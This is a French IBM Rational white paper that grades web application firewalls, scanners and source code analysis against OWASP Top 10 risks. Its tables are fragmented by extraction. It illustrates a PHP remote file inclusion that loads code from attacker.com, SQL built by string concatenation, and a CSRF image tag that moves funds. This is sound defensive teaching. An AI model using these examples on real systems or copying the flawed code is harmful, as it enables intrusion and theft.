rational france livre blanc - choisir le bon outil pour faire du bon travail

Choisir le bon outil pourfaire du bon travailUn carnet de notes pour les outils de sécurité d’application

IBM Software

Rational

Décembre 2009

2 Choisir le bon outil pour faire du bon travail

Sommaire

2 Récapitulatif


3 Prévention des vulnérabilités versus détection desmenaces

4 Ce qu’il faut mesurer

4 Le carnet de notes

4 A1 – Scripting intersites (XSS)

5 A2 – Failles d’injection

5 A2.1 – Injection de code SQL standard

6 A2.2 – Injection de code XML (XPath, XQuery)

6 A2.3 – Injection de protocole LDAP (LightweightDirectory Access Protocol)

6 A2.4 – Injection de commandes

7 A2.5 – Injection de code AJAX

7 A3 – Exécution de Fichiers Malicieux

8 A4 – Référence directe non sécurisée à un Objet

9 A5 – Falsification de requête intersite (CSRF)

10 A6 – Fuite d’information et Traitement d’erreurIncorrect

10 A7 – Violation de Gestiond’authentification et de Session

11 A8 – Stockage cryptographique non sécurisé

11 A9 – Communications non sécurisées

12 A10 – Manque de Restriction d’Accès URL

12 B1 – Configuration du moteur d’exécution del’application

13 B2 – Dépassements de la mémoire tampon

14 B3 – Services Web

15 B4 – Code malicieux

15 B5 – Cookies personnalisés ou champs masqués

16 Résumé

Sommaire (suite)

17 Annexe A : Outils de sécurité d’application – Le carnetde notes

RécapitulatifDans les années 1980, le scannage de numéros de téléphone etle piratage téléphonique faisaient la une des journaux. Dans les1990, nous avions tous peur des attaques sur le Web et derecevoir des virus par courrier électronique. Les sept dernièresannées ont vu l’apparition du vol d’identité et des problèmesde confidentialité. Pendant les 20 dernières années, lesorganisations se sont concentrées sur la protection du réseau,mais au cours des dix dernières années, il est devenu évidentque la menace fondamentale est l’accès au réseau. Le réseaun’est qu’un moyen pour arriver à une fin. La menace estdepuis toujours l’accès aux données et aux applicationsconfidentielles ou aux fonctions de l’entreprise quiinteragissent avec les données. Les données confidentielles etles applications d’entreprise sont vulnérables aux attaques,surtout en cas d’attaque sur le réseau de l’entreprise.

Choisir le bon outil pour faire du bontravailUne gamme d’outils de sécurité d’application a été développéepour soutenir les efforts visant à protéger l’entreprise contreles risques liés aux applications non sécurisées. Mais dans lepaysage de la sécurité applicative en constante mutation,comment les organisations peuvent-elle choisir le bonensemble d’outils pour atténuer les risques posés à leurenvironnement par leurs applications ? De même, comment,où et par qui ces outils sont-ils utilisés le plus efficacement ?

3IBM Software

Ce document de présentation technique étudie les outils lesplus courants dans l’environnement de la sécurité desapplications d’entreprise :

● Pare-feu d’application Web ● Outils d’analyse d’application Web● Outils d’analyse de code source

Chaque outil est évalué et comparé en termes de résolutiondes vulnérabilités critiques, en commençant par le10 vulnérabilités prioritaires identifiées par l’OWASP (OpenWeb Application Security Project). Ce document fournit uncarnet de notes pour aider les organisations qui définissentleur stratégie de sécurité d’application à mieux comprendrel’approche de chaque outil, sa méthode de résolution desdéfauts de sécurité et son efficacité en matière d’éliminationdes menaces de sécurité sur les données dans les applications.

Prévention des vulnérabilités versusdétection des menacesIl existe deux catégories fondamentales rassemblant tous lesproduits de sécurité d’application : la prévention desvulnérabilités versus la détection des menaces. Il convient desouligner que pour les besoins de ce document, lorsque lesfonctionnalités d’un produit permettent la prévention par ladétection, ce produit est considéré comme un dispositif dedétection.

Les entreprises essaient de gérer une stratégie préventiveproactive versus une stratégie plus réactive basée sur ladétection. Nous insistons sur le fait qu’aucune pratique desécurité d’application ne peut atteindre un niveau de réussiteacceptable sans implémenter les deux mécanismes (préventionet détection). Trouver le bon équilibre et le bon investissementest une décision qui appartient à chaque organisation, selon lesmenaces, l’exposition et le budget.

Les pare-feu d’application Web sont un dispositif de détectiondes menaces. Le rôle principal d’un pare-feu est de détecter etde bloquer les requêtes non valides ou malicieuses envoyées à votre application Web. On pourrait aussi dire que lespare-feu sont des dispositifs de prévention. Les pare-feu sont

capables de bloquer un certain pourcentage du trafic suspect,mais il existe une nette différence entre les dispositifs dedétection et les dispositifs de prévention proprement dits.

Une bonne solution de prévention des vulnérabilités estcapable de trouver et d’aider à éliminer un point faible desécurité avant que cette faiblesse puisse être exploitéeconcrètement. Les pare-feu d’application Web ne sont pas debons dispositifs de prévention. Ils réagissent au trafic Webentrant qui exploite les vulnérabilités existantes. La préventionréelle ne se produit que lorsque la vulnérabilité estvéritablement éliminée et ne peut donc plus être exploitée.

Les outils d’analyse d’application Web et les outils d’analysede code source sont fondamentalement des solutions deprévention. Les outils d’analyse d’application et les outilsd’analyse de code sont utilisés avant que les vulnérabilitéssoient exposées au Web. Ils permettent d’éliminer les risquesde manière définitive. Cependant, ces outils ne fournissent pasde mécanismes de détection des menaces dansl’environnement quotidien déployé.

Il existe une limite aux informations qu’un outil (de détectionou de prévention) peut posséder sans étudier et comprendre lecode source sous-jacent. Comme pour toute méthodologied’évaluation manuelle de la sécurité logicielle, plus vouseffectuez de tests de sécurité du code source des applicationsstatiques, plus vous obtenez d’informations. Il y a aussi unéquilibre entre le temps dont vous disposez pour étudier lasituation d’une application en termes de sécurité et lacombinaison appropriée d’approches automatisées etmanuelles. Certains mécanismes de détection sont bienadaptés aux protections immédiates à court terme.

Par exemple, vous avez identifié un grand nombre devulnérabilités par une approche de prévention desvulnérabilités (analyse statique), mais vous ne pouvez pastoutes les corriger immédiatement car vous n’avez passuffisamment de temps ni de ressources pour le faire. Vousappliquez une solution à court terme comme un pare-feud’application Web, une définition de règles hautementpersonnalisée, jusqu’à ce que le code soit corrigé et vérifié eneffectuant une analyse de code source.


Ce qu’il faut mesurerPour établir une comparaison précise et juste entre cestechnologies, ce document de présentation technique compareles outils à l’aide des 10 vulnérabilités prioritaires définis parl’OWASP comme les défauts de sécurité les plus critiques(http://www.owasp.org/index.php/ OWASP Top_Ten_Project).Ce document évalue cinq vulnérabilités critiquessupplémentaires pour compléter les catégories de comparaisonpour le référentiel.

● A1 – Scripting intersites (XSS)● A2 – Failles d’injection● A3 – Exécution de fichiers malicieux● A4 – Référence directe non sécurisée à un Objet● A5 – Falsification de requête intersite (Cross-site

request forgery)● A6 – Fuite d’information et Traitement d’erreur Incorrect● A7 – Violation de Gestion d’authentification et de Session● A8 – Stockage cryptographique non sécurisé● A9 – Communications non sécurisées● A10 – Manque de Restriction d’Accès URL

L’OWASP fournit des informations pour identifier les risquesassociés à l’environnement d’application Web actuel.Cependant, aucune pratique de sécurité des applications nedoit exclure des débats pour identifier et atténuer égalementles risques associés aux catégories suivantes.

● B1 – Configuration du moteur d’exécution de l’application● B2 – Dépassements de la mémoire tampon ● B3 – Services Web● B4 – Code malicieux● B5 – Cookies personnalisés ou champs masqués

Pour déterminer comment chaque outil de sécuritéd’application identifie et atténue les menaces pour chaquecatégorie de vulnérabilité, nous devons identifier la méthodeidéale pour aborder la vulnérabilité elle-même et commentchaque outil de sécurité d’application identifie et atténue lesmenaces. Ce document fournit une évaluation de l’efficacité de

chaque outil en la matière. Cette évaluation vous permet dedéterminer la combinaison d’outils et de processus deprotection contre les menaces critiques offrant la méthode laplus appropriée pour votre organisation.

Le carnet de notesChaque outil dans chaque catégorie de vulnérabilité a reçu unenote graphique en plus d’une explication plus détailléeconcernant sa capacité à résoudre la vulnérabilité. Les notessont regroupées dans un bulletin final à la fin de chaquerapport. Les notes sont les suivantes :

A1 – Scripting intersites (XSS)Le scripting intersites est une des attaques prédominantescontre les applications Web. Pour le pirate, cette méthodeprésente en grande partie les mêmes avantages que ledépassement de la mémoire tampon. Elle est relativementfacile à implémenter et peut faire en sorte que le navigateur du client émette du code de scripting arbitraire du côté clientcontrôlé par le pirate. Le but final d’une attaque XSS est deprendre en otage une session d’application d’un utilisateurexistant ou de lancer une attaque d’hameçonnage (ouphishing).

Les outils les plus efficaces soulignent les paramètres d’entréevulnérables aux attaques XSS et déterminent les emplacementsspécifiques dans le code d’application où réside le codevulnérable. Les meilleurs outils détectent et empêchent le scripting intersites avec une configuration personnaliséeminimum.

Capacité à résoudre lavulnérabilité

Note

Excellente

Bonne

Moyenne

Aucune

http://www.owasp.org/index.php/

5IBM Software

A2 – Failles d’injectionLes failles d’injection représentent une des attaquesprédominantes contre les applications Web aujourd’hui. Le point commun entre toutes les attaques par injection réside dans le fait qu’il existe quelque part dans le code source un interprète qui prend les données et les traite sousforme de code. Lorsque les données passent sans être validéescorrectement, un utilisateur malicieux peut injecter du codemalicieux dans cet interprète. Le but est souvent l’acquisitionou la destruction de données confidentielles.

Une injection de code SQL est le type de défauts d’injection le plus courant. Lors d’une injection de code SQL, le pirateinsère des données par le biais de n’importe quel champd’entrée accessible par l’utilisateur pour que ces donnéessoient interprétées par la base de données comme du texte decommande SQL supplémentaire. Cependant, il existe desformes essentiellement illimitées de cette attaque. Lesapplications Web autorisent les entrées contrôlables parl’utilisateur sans valider les entrées. Les données sont presquetoujours exposées à un type de vulnérabilité par injection. Lesmeilleurs outils suivent et mettent en évidence tous les pointsd’entrée d’une application et surtout tous les endroits où desentrées d’utilisateur existent.

A2.1 – Injection de code SQLL’injection de code SQL est une technique qui consiste àinjecter des commandes SQL dans la base de données parl’utilisateur pour obtenir les commandes émises parl’interprète SQL. Parfois, il faut plusieurs itérations de chaînesd’attaque pour finalement construire une chaîne de code SQLcorrectement formatée, ce qui déclenche une attaque parinjection de code SQL. Lorsque l’application renvoie desdétails concernant l’erreur dans la base de données quipermettent au pirate de perfectionner la syntaxe, on parlegénéralement d’injection de code SQL normale. L’injection de code SQL aveugle fait généralement référence aux cas oùl’application ne fournit pas de détails sur l’erreur mais renvoieun message d’erreur générique à la place. Le pirate doit alorsexécuter une série de requêtes pour essayer de provoquer uneréponse positive et négative de la part de l’application.Souvent, le pirate est capable d’interpréter les messagesd’erreur envoyés directement depuis la base de données(injection de code SQL normale), mais il n’est pas nécessairede réussir ce type d’attaque par le biais d’une injection de codeSQL aveugle. Au lieu de cela, le pirate peut itérer par unesérie de tentatives d’injection de code SQL jusqu’à réussir sonattaque. Quoi qu’il en soit, le risque et le résultat des attaquesréussies sont les mêmes pour l’injection aveugle et l’injectionnormale.

Analyse de codesource

Pare-feud’application Web

Outil d’analysed’application Web

L’analyse de codesource fournit des

informationsdétaillées pour

éliminer lavulnérabilité, y

compris la ligne decode où la

vulnérabilité setrouve.

Les pare-feud’application Websont uniquement

capables de fournirl’URL exploitable et

les paramètresutilisés pour exploiter

la faille. La plupartdes pare-feu

d’application Webnécessitent des

règles personnaliséespour bloquer lesattaques les plus

basiques.

Les outils d’analysed’application Web

peuvent détecter uneinjection de code

SQL. Les méthodesutilisées ont un tauxfaussement positif

très élevé.














règles personnaliséespour couvrir les

attaques XSS les plusbasiques.

Les outils d’analysed’application Websont uniquement


les paramètresutilisés pour exploiterla faille. Pour trouvertous les champs de

formulaire injectables,une personnalisationselon l’utilisateur peut

être nécessaire.





L’analyse de codesource peut fournirdes informationsdétaillées pour







la faille. Tous lespare-feu d’applicationWeb ne prennent pasen charge l’examendes flux de donnéesXML. Une passerelle

XML séparée estrecommandée dans

certains cas.




formulaire injectables,une personnalisationselon l’utilisateur peut

être nécessaire.

A2.3 – Injection LDAPLe protocole LDAP est souvent utilisé dans les entreprisespour la gestion des comptes clients, l’authentification et mêmel’autorisation. Si votre application Web utilise le protocoleLDAP, alors vos outils d’analyse d’application doivent êtrecapables de comprendre ce protocole. L’injection LDAP seproduit lorsque des données non validées fournies par unutilisateur sont utilisées dans la construction de requêtes ou defiltres LDAP. Il se peut que le système LDAP permette àl’utilisateur malicieux d’interroger le système LDAP sous-jacent et d’accéder aux données contenues dans le système.

Même si cette attaque est très courante, si votre application estvulnérable, elle est aussi grave que n’importe quelle autreattaque par injection. Il est essentiel de comprendre les APIutilisées et la provenance des données utilisées par les APIpour assurer une couverture précise et complète.














règles personnaliséespour couvrir les

attaques LDAP lesplus basiques.



les paramètresutilisés pour exploiterla faille. Pour trouvertous les champs deformulaire injectableset pour obtenir unemanipulation LDAP

adaptée, unepersonnalisation

selon l’utilisateur peutêtre nécessaire.

A2.4 – Injection de commandesL’injection de commandes est un des types de vulnérabilitéspar injection les plus graves. Elle permet aux pirates d’exécuterdes commandes système arbitraires, généralement à un niveaude privilèges élevé. La réussite de cette attaque ne fournit

A2.2 – Injection de code XML (XPath et XQuery)XPath et XQuery permettent d’interroger des documentsXML. XQuery fournit des stockages de données relationnelspour les informations contenues à l’intérieur. C’est pour cetteraison que XPath et XQuery sont vulnérables aux attaquesutilisant les mêmes techniques qu’une injection de code SQL.On peut considérer les injections de code XML simplementcomme une autre attaque par injection où le stockage dedonnées est en fait un fichier XML et non une base dedonnées. Il faut prendre en compte l’emplacement du fichierXML et le type de données qu’il contient lorsqu’on étudie lesrisques associés aux injections de code XML. L’injection XMLdevient plus courante en raison de l’utilisation plus répanduedes services Web, qui reposent en grande partie sur letraitement des flux de données XML. L’injection XML estdifficile à découvrir automatiquement à l’aide des pare-feud’application ou des outils d’analyse d’application Web sansintervention manuelle. Les outils d’analyse d’application Websouffrent du fait qu’il s’agisse souvent d’un test à l’aveugle,sans informations sur les API, ce qui accroît considérablementle taux faux positif. Il est essentiel de comprendre les API utilisées et la provenance des données transmises aux APIpour assurer une couverture précise et complète.

7IBM Software




La manière la plusefficace de trouver et

d’empêcher lesattaques par injection

de commandes.Chaque commande

de système émise estidentifiée. Lesdonnées de

l’utilisateur sontutilisées et le texte decommande est suivi.

Les pare-feud’application Weboffrent un certain

niveau de protectioncontre une injection

de commandeconnue. La prise en

charge est limitée caril faut savoir àl’avance que le

champ est vulnérableaux injections et limité

aux entréesspécifiques au Web.Les autres interfacesà un système dorsal

qui ne s’appuient passur le Web sont tout

de mêmevulnérables.




formulaire injectables,une personnalisationselon l’utilisateur peutêtre nécessaire. Il esttrès difficile de savoirsi l’attaque a réussi

ou échoué carl’émission de la

commande sur lesystème externe estsouvent abstraite etinconnue au niveau

de l’interfaceutilisateur.

A2.5 – Injection de code AJAXL’injection de code AJAX est un type d’attaque relativementnouveau qui n’est pas très courant, mais comme l’utilisationd’AJAX est de plus en plus répandue, ce type d’attaquepourrait devenir dangereux. Une injection AJAX est uneinjection côté client basée sur un cadre de référence JavaScriptet XML. L’application côté serveur chargée de traiter cesrequêtes traite la requête d’injection AJAX comme unerequête HTTP GET ou POST normale. La cause de laplupart des problèmes de sécurité liée aux technologies AJAXest la tendance croissante des développeurs à stocker de plusen plus de données, souvent sensibles du côté client, sansqu’ils se rendent compte que toutes ces données etfonctionnalités sont accessibles à l’utilisateur malicieux. Ce problème se manifeste lorsque l’application stocke desdonnées sensibles sur une charge de réponse côté client etqu’un défaut XSS accède à ces données et les transmet aupirate. Il faut faire attention aux données stockées sur le clientet au type de fonctions exposées du côté client.




L’analyse de codesource peut

déterminer lesendroits où les

données contrôlablespar l’utilisateur

doivent être validées(et ne le sont pas)

mais termine toujourspar les données ducôté client. Dans cet

espace, la plupartdes solutions ne font

pas de distinctionentre les requêtes

AJAX et les requêtesHTTP normales.

Les pare-feud’application Web ne

font pas dedistinction entre les

requêtes AJAX et lesrequêtes HTTP. Lesrequêtes AJAX sont

purement basées surle client (requête

inter-domaines parutilisation d’un proxy).Bon nombre de ces

requêtes sontinvisibles pour le

serveur.

Les outils d’analysed’application Webutilisés avec desoutils d’analyse

statiques offrent lameilleure détection et

la meilleureprotection.

A3 – Exécution de fichiers malicieuxL’exécution de fichiers malicieux est un modèle d’attaque trèscourant pour les applications php. Ce genre d’attaque permetà un attaquant de télécharger le contenu interprété ou émispar une application hôte. Cela peut conduire à compromettreun serveur Web complet, à défaire le site Web et à installer unroot kit ainsi que de nombreuses autres failles étant donné quele code fourni par le pirate est exécuté sur le systèmevulnérable.

Une forme simple de ce type d’attaque est décrite ci-dessous :

<?php include($hidden_user_skin).’’skins’’.’’php’’); ?>

Dans cet exemple, le serveur Web personnalise l’expérience del’utilisateur en utilisant un paramètre masqué poursélectionner l’habillage choisi par l’utilisateur. Si un piratemodifie le champ masqué $hidden_user_skin pourhttp://attacker.com/exploit.php?, il fait en sorte que le serveurWeb exécute du code arbitraire contrôlé par le pirate. Ce codemalicieux est chargé à partir d’un emplacement contrôlé par lepirate et exécuté sur le serveur de la victime.

Tous les outils associés à cette catégorie de résultats doiventarticuler tous les endroits où les entrées de l’utilisateur sontdirectement référencées sans validation appropriée.

généralement pas beaucoup de retours d’informations àl’utilisateur. Il est difficile de déterminer si une attaque a réussi ou échoué.

http://attacker.com/exploit.php


A4 – Référence directe non sécurisée à un ObjetLorsqu’une application expose volontairement ouinvolontairement l’accès aux références d’objets internes, celaentraîne l’exposition des données. Cela se produit lorsque lesclés primaires d’une base de données sont exposées sous laforme de paramètres d’entrée fournis par l’utilisateur. Souvent,les utilisateurs malicieux profitent de ces attaques pour accéderà des données non autorisées, représentées par tout objetdirect référencé. Selon les meilleures pratiques de sécurité, ilne faut jamais utiliser directement les clés de base de donnéespour référencer des objets. Il est préférable d’utiliser unemappe relative d’identifiants, qui font référence aux donnéesuniquement dans le contexte de l’utilisateur.

Voici un exemple :

http://bobs.shopping.com/accountInfo.jsp?userId=5

S’il s’agissait d’une requête pour récupérer les informations ducompte d’un utilisateur spécifique, il suffirait au pirate demodifier le paramètre d’identification de l’utilisateur.

Si le code côté serveur est codé comme suit :

String userId = request.getParameter(‘‘userId)’’;String query = ‘‘SELECT * FROM users WHEREuserId=’’’+userId +‘‘’’’;

Le code côté serveur est potentiellement vulnérable à uneinjection de code SQL mais, même si la requête sous-jacenteutilise des requêtes paramétrées, le pirate peut obtenir lesinformations de compte de n’importe quel utilisateur dans lesystème.

Comme dans A3, il faut que la solution puisse identifier tousles endroits qui récupèrent les entrées et suivre ces entréesjusqu’à leur destination finale pour pouvoir identifier ce typed’attaque de manière fiable.





déterminer tous lesendroits où des


doivent être validées.Si vous utilisezl’analyse et la

visualisation du fluxde données, vous

savez où les donnéesarrivent. L’analyse

soulignespécifiquement leszones vulnérables.

Les pare-feud’application Web

peuvent identifier cetype d’attaque.Cependant, cesrègles doivent

généralement êtreadaptées à chaqueapplication Web et

elles n’offrent pas uneprotection universelle

contre toutes lesformes de cette

attaque. Les meilleurspare-feu d’applicationpermettent d’identifier

la valeur et le typed’une plage

spécifique en forçantl’acceptation des

paramètres et valeursvalides uniquement.



la meilleureprotection. Les outils

d’analysed’application Web

nécessitentgénéralement une

manipulationmanuelle des

paramètres d’entréedes applications pour

détecter ce typed’attaque.





déterminer lesendroits où les


doivent être validées,mais toutes les

solutions dans cetespace ne prennent

pas encore en chargele langage PHP

(Support HypertextPreprocessor). Dansles cas où PHP n’estpas officiellement pris

en charge commelangage, il est parfois

possible de définirdes règles d’analyse

basées sur unmodèle pour

rechercher cesvulnérabilitéspotentielles.


peuvent identifier cetype d’attaque.

Toutefois, ces règlesdoivent être adaptéesà chaque applicationWeb. Les pare-feud’application Webn’offrent pas une

protection universellecontre toutes lesformes de cette

attaque.



la meilleureprotection.

http://bobs.shopping.com/accountInfo.jsp?userId=5

9IBM Software

Dans ce scénario, la victime (Alice) se connecte à son comptebancaire et, sans se déconnecter, visite un site malicieux quiprofite de la relation de confiance qui existe entre Alice et soncompte bancaire. En incluant une simple requête, qu’Alice nepeut pas voir, à chaque fois qu’elle visite le site malicieux lepirate qui envoie la requête peut accéder au compte d’Alicecomme s’il était Alice.

Par exemple, si le site malicieux envoie à Alice :

<img src=‘‘https://trusted.banksite.com/transferFunds?FromAccount= [alices_account_number]&amount=1000&toAccount= [attacker_account_number]’’>

Alice risque de transférer de l’argent sur le compte du pirate.

Il est important de comprendre qu’aucun outil n’est expert enmatière d’identification des CSRF, même si leur capacité àdétecter les attaques XSS peut les aider à identifier les risquesde CSRF. Toutefois, ce facteur à lui seul n’est pas suffisant, carles CSRF peuvent exister sans XSS et les attaques XSSpeuvent exister sans CSRF. Les vulnérabilités XSS rendent laprotection contre les CSRF plus difficile.




L’identification desattaques XSS aide àidentifier les CSRF.Mais la détection

n’est pas suffisantepour garantir la

détection totale desCSRF. Le soutien

apporté par l’analysede code source est

limité.

Les pare-feud’application Webpeut apporter des

fonctionnalitéspermettant de réduire

le risque de CSRF,comme la validationdu référent HTTP, le

forçage desformulaires et lechiffrement des

paramètres, ainsi qued’autres techniques.

La capacité deprotection dépend du

fournisseur et doitêtre configurée

manuellement selonl’environnement.

Même si les outilsd’analyse Web

assurent la détectiondes CSRF sans

modification, le faibletaux faussementpositif pour les

attaques XSS facilitel’identification des

vecteurs d’attaquesCSRF potentielles.Une combinaisond’analyse Web, detests manuels et

d’analysed’application Web

constitue la meilleureapproche pour

identifier ces typesd’attaques.

A5 – Falsification de requête intersite (CSRF)Falsification de requête intersite (CSRF) est une attaquedévastatrice basée sur la relation de confiance existant entreune application et un client. La plupart du temps, si uneapplication n’a pas pris de mesures spécifiques pour empêcherla CSRF, elle est probablement vulnérable à ce type d’attaque.

1. Connexion

3. Le pirate utilise la confiance établieenvers le site Web légitime pour transférerdes fonds hors du compte d'Alice

2. Visite

Alice





L’analyse du codesource est capable

de fournir unecouverture complète

contre la gestionincorrecte des

erreurs, car souvent,la gestion des erreursn’est pas entièrementenvoyée directementà l’utilisateur d’uneapplication Web.


apportent unecertaine fonctionnalitéen interprétant et en

interceptant lesmessages d’erreur(dans la réponse)

envoyés parl’application, mais ils

ne sont pas trèsefficaces en termesde valeur réelle pource type de risque.

Les outils d’analysed’application Webapportent une plus

grande valeur que lespare-feu d’applicationWeb. Ils interprètentde nombreux typesd’erreurs renvoyéspar les applicationsWeb, mais ils sontstrictement limités

aux erreurs qui sontrenvoyées àl’utilisateur.

A7 – Violation de Gestion d’authentification et de SessionL’absence de contrôles d’authentification et de gestion desession adaptés dans une application entraîne de nombreusesvulnérabilités graves, comme le piratage de session etl’élévation des privilèges. Dans les applications Web, ne pasvalider l’utilisateur pendant la session permet à un utilisateurd’accéder aux zones de l’application réservées à une autrepersonne possèdent un niveau de privilèges différent ousupérieur.

Le meilleur moyen d’identifier un processus d’authentificationinterrompu est la combinaison de tests manuels et l’analyse ducode source. Les analyses de code source aident à identifiertous les points d’entrée d’une application Web et à vérifier quel’utilisateur est autorisé, tandis que les tests manuels utilisentles résultats de l’analyse de code source pour concentrer lesattaques non seulement sur les zones avec autorisation pourvérifier qu’elles sont correctes, mais aussi les zones sansautorisation pour vérifier que la conception est bonne.L’analyse du code source identifie les API liées àl’authentification et à la gestion de session, en orientantrapidement l’expert en sécurité vers les endroits où le codedoit être analysé manuellement.




L’analyse de codesource peut être

utilisée pour identifierles points d’entrée de

l’application et, àl’aide de règles

personnalisées, ellepeut aider à vérifierque les contrôles

d’autorisation sonteffectués.

Cependant, en tantque technologie

isolée, elle ne suffitpas à vérifier que les

contrôlesd’autorisation

existants ne sont paseux-mêmesinterrompus.

Les pare-feud’application Web ne

sont pas efficacespour atténuer les

risquesd’authentification etd’autorisation, maisils apportent de la

valeur en matière desuivi et de sécuritédes données desession, surtout

lorsqu’ils sont utiliséscomme proxy

inversé.

Les outils d’analysed’application Web ne

sont pas efficacesdans cette catégorie.Ils peuvent être utiles

lorsqu’ils sontemployés comme

moteur de testmanuel couplé aux

résultats de l’analysede code source.

A6 – Fuite d’information et Traitement d’erreur IncorrectLes fuites d’informations et le traitement d‘erreurs incorrectsont des problèmes bien plus graves que beaucoupd’organisations le pensent. Un élément aussi banal qu’unmessage d’erreur peut fournir à un pirate exactement lesinformations dont il a besoin pour perfectionner son attaque,que ce soit la version de la base de données utilisée, une tracede pile révélant des informations sensibles ou des fichiersjournaux contenant des messages de débogage avec desdonnées sensibles qui peuvent persister pendant des décennies.Le piratage de CardSystems, Inc.© en 2005 en est un parfaitexemple. Ce cas a montré que des données sensibles étaientjournalisées pour déboguer des transactions non autorisées ouincomplètes. Le pirate a réussi à récupérer ces données,exposant ainsi 40 millions de dossiers. Il convient de soulignerqu’aucun outil d’analyse d’application Web ni pare-feud’application Web ne peut détecter cette attaque. Seule uneanalyse de code source qui identifie toutes les sorties peutdétecter la vulnérabilité à résoudre.

11IBM Software




L’analyse de codesource peut identifier

l’utilisation decontrôles

cryptographiques peuefficaces et aider

l’analyste à identifierles endroits où des

contrôles valides sontmal utilisés.


sont complètementinefficaces lorsqu’il

s’agit d’identifier unemauvaise utilisation

des contrôlescryptographiques.


sont complètementinefficaces lorsqu’il

s’agit d’identifier unemauvaise utilisation

des contrôlescryptographiques.

A9 – Communications non sécuriséesLes communications non sécurisées font principalementréférence à l’utilisation du protocole SSL (secure sockets layer) pour chiffrer des informations sensibles entre le client(généralement un navigateur Web) et l’application Web. Celaest extrêmement important pour s’assurer que les donnéessensibles ne sont pas transmises sans être chiffrées, surtout lesdonnées d’authentification des utilisateurs et les informationspersonnelles identifiables.

Les outils d’analyse d’application Web peuvent être utiliséspour vérifier que le protocole SSL est utilisé en applicationfrontale, mais ils manquent de visibilité en ce qui concerne lesconnexions dorsales éventuelles entre les systèmes. L’analysede code source peut identifier de nombreuses connexionsdorsales, mais elle ne prend pas suffisamment en compte lalogique d’entreprise pour déterminer si ces connexions doiventêtre sécurisées ou sont mal sécurisées. Pour ces types deproblèmes, une combinaison d’outils d’analyse d’applicationWeb et d’analyse de code source constitue la meilleurestratégie. Les pare-feu d’application Web n’apportentréellement aucun avantage lorsqu’il s’agit de réduire ce type de risque.





utilisée pour identifierles points de sortied’une application et

pour orienter unanalyste qui connaîtl’application vers un

manque de contrôlesde chiffrement

adaptés. Cependant,en tant que

technologie isolée,elle ne suffit pas à

vérifier que tous lespoints de sortie quidoivent être chiffrés

sont chiffréscorrectement.

L’analyse de codepeut aussi identifier

l’utilisation decertaines API qui

sécurisent lescommunications

réseau, fournissantainsi aux analystes

une aide à lavérification

supplémentaire.

Les pare-feud’application Webpeuvent assurer uncertain niveau deprotection pour leprotocole SSL etavec des règlespersonnalisées

capables d’appliquerSSL. Pour ce faire, ilfaut que le pare-feu

fonctionne comme unproxy, ce qui réduitles performances.

Les outils d’analysed’application Webpeuvent aider les

analystes à identifierles problèmes de

SSL dansl’application frontale,mais ils manquent de

visibilité en ce quiconcerne les

connexions dorsalespour être efficaces

utilisés seuls.

A8 – Stockage cryptographique non sécuriséLa cryptographie est une technologie importante dans toutesles applications chargées de stocker et de gérer des donnéessensibles. Une application qui doit être conforme à la normePCI doit gérer la transmission et le stockage sécurisés dedonnées sensibles. Une mauvaise utilisation du chiffrement oul’utilisation d’un chiffrement faible peut entraîner unedivulgation d’informations très sérieuses.

Seule l’analyse de code source peut aider à découvrir etatténuer les vulnérabilités liées aux contrôles cryptographiquesinadaptés. Ils peuvent être inadaptés en raison de l’utilisationd’une routine de chiffrement faible, ou il se peut que laroutine utilisée soit contraire à la politique de l’entreprise. Elle peut aussi identifier les endroits où la cryptographie estutilisée pour orienter un analyste vers les zones où une analysede code assistée plus rigoureuse est nécessaire.






utilisée pour identifiertoutes les pages

pouvant êtrevisualisées, même

celles qui ne sont pasliées directement.

Cette technologie nepeut pas identifier les

pages généréesdynamiquement et

elle ne peut pasgarantir que les

contrôlesd’autorisation

appropriés sont enplace sans inspectionmanuelle. L’analyse

de code source peutaussi identifier les API

qui sont associéesaux fonctions

d’authentification etd’autorisation de

l’entreprise, ce quifournit à l’analyste

des pistesd’investigation

supplémentaires.


peuvent danscertains cas forcer

l’authentification desutilisateurs pour

certaines pages, maisce n’est

généralement pas lemeilleur endroit pourexécuter ce type de

contrôle.

Les outils d’analysed’application Web ontdu mal à identifier lespages non liées oules pages généréesdynamiquement. Ils

peuvent les manquer,mais si ces pagessont connues, laplupart des outilsd’analyse peuvent

être configurés pouranalyser ces pagesmanuellement. Les

outils d’analysed’application Web etl’analyse manuelle

utilisés avec l’analysede code source

assurent la meilleurecouverture.

B1 – Configuration du moteur d’exécution de l’applicationUne mauvaise configuration de l’environnement du moteurd’exécution peut exposer les applications Web à de gravesrisques. Ces menaces sont issues d’utilisateurs internes etexternes mal intentionnés. De nombreux risques peuventexposer les vulnérabilités d’accès à un serveur d’application.

A10 – Manque de Restriction d’Accès URLDe nombreuses applications Web limitent l’accès aux pagessimplement en appliquant une autorisation au niveau de lacouche de présentation, ce qui signifie que l’application nepeut pas restituer certains liés protégés aux utilisateurs nonautorisés. Cependant, les utilisateurs qui tentent d’accédermanuellement à ces URL contournent les contrôlesd’autorisation au niveau de la couche de présentation. Il estimportant d’effectuer des autorisations déclaratives ouprogrammatiques au niveau de couche métier en plus del’autorisation au niveau de la couche de présentation.Généralement, l’autorisation de la couche de présentation estuniquement destinée à des fins de convivialité, pas de sécurité.Les utilisateurs capables de deviner l’URL ont un accès nonautorisé, sans l’autorisation de couche métier appropriée.

Pour identifier correctement ce risque, la meilleure solutionest une combinaison d’analyse de code source, d’analysed’application Web et d’ethical hacking manuel. Les outilsd’analyse d’application Web n’ont pas une visibilité suffisantede la structure de l’application Web au niveau source pourtrouver et analyser des pages Web non liées, tandis quel’analyse de code source n’a pas une visibilité suffisante des processus métier pour déterminer si des contrôlesd’authentification ou d’autorisation sont requis. Dans certains cas, les contrôles d’authentification sont contrôlés par l’application ou par le serveur Web et directement parn’importe quel code d’application. Les approches qui utilisentl’ethical hacking manuel sont souvent très fiables elles aussi.Par exemple, un analyste de sécurité peut étudier tous lespoints d’entrée d’URL web.xml, puis tenter de forcer lanavigation jusqu’à ces points d’entrée en tant qu’utilisateurnon autorisé.

13IBM Software

